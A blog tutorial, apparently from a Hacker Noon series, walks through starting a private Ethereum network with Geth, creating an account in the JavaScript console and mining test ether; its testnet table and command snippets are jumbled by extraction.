Morden, the public Ethereum testnet, now Ethereum Classic testnet : Ropsten, the public cross-client Ethereum testnet : Rinkeby, the public Geth Ethereum testnet : Kovan, the public Parity Ethereum testnet : Musicoin, the music blockchain 1 1 chain ID _61   _1 chain ID _2   _2 3 4 42 7762959 Anyway, Once you run the command on your terminal — your private network will go live. Here’s what my terminal shows after running the snippet. Every time you want to access your private chain, you will have to run these two snippets as is and in that order since Geth DOES NOT remember the parameters of your private blockchain network. Therefore, I suggest you save the set-up steps below, so you can access it later. Another important thing. geth — “yourIdentity” — — #1 identity init /path_to_folder/CustomGenesis.json datadir /path_to_your_data_directory/YOUR_FOLDER geth -- /path_to_your_data_directory/ACPrivateChain -- #2 datadir networkid YOUR_NETWORK_ID If you’ve followed along then at this point, You have a private blockchain, and a private network up and running! Now, we can start interacting with our private chain and our private network through accounts. Create an Externally Owned Account (EOA) We will now create an account to manipulate our blockchain network. If you have been following this series, we talked about accounts in our last post. Types of accounts in Ethereum Once you have your first geth instance open, open another console/terminal and type the following: geth attach /geth.ipc /path_to_your_data_directory/YOUR_FOLDER This will connect your 2nd console to the Geth instance running on your first terminal window (make sure its actually running). You should get a Javascript console like so Once you have the javascript console, you are all set to create an account . personal.newAccount() You will be asked to setup a password following which, a new account will be generated. Simple! Now, save this account # as since you will need it very often. Also, remember you passphrase because you’ll need it to access your account. But you knew that already. Next, check to see how much ether this account has using the following line of code eth.getBalance("ENTER_YOUR_ACCOUNT_NUMBER_HERE") here’s what I got Your balance should be . Rightly so, since you wouldn’t have any ether when you first create an account. 0 There are 2 ways to get ether into your account, either somebody sends you some , or you mine transaction blocks and get rewarded with ether in turn. Since you are all alone in your private network at this point, your only option right now is to mine some blocks and get rewarded. Mine some ether into our account Mining in the real or Main Ethereum blockchain is pretty difficult and would need specialized hardware such as dedicated GPUs. However, mining for blocks in a private chain is easy to do, since we specified the difficulty level to be very low in our genesis file, remember? We can simply start mining using the following code miner.start() At this point, if you look at the other console that is running the Geth instance, you will see blocks being mined successfully by your miner. Give it 10–15 seconds and check your balance again. Woohoo! Lots of ether show up in your new account. (Remember this is fake ether, you cannot use this ether to make transactions on the Main Ethereum network) but you can use this to test our several functions of the blockchain including transfers, deploying contracts etc. Finally, stop the miner using the script. miner.stop() Congratulations! You just built your first private ethereum blockchain and mined some ether! Lots of details, but I am hoping some of this made sense, and gave you a little more clarity on how blockchains work. In the next post, we will add another node to our private blockchain, write and deploy smart contracts and demonstrate how to call contract. Want to know when a new post is up? Just :) Follow The Whiteboard Also, If you found the post helpful, please recommend it to others by clapping for this post ! If you have insights or comments, I would love to hear from you . You can also reach out to me directly on . twitter https://upscri.be/hackernoon/

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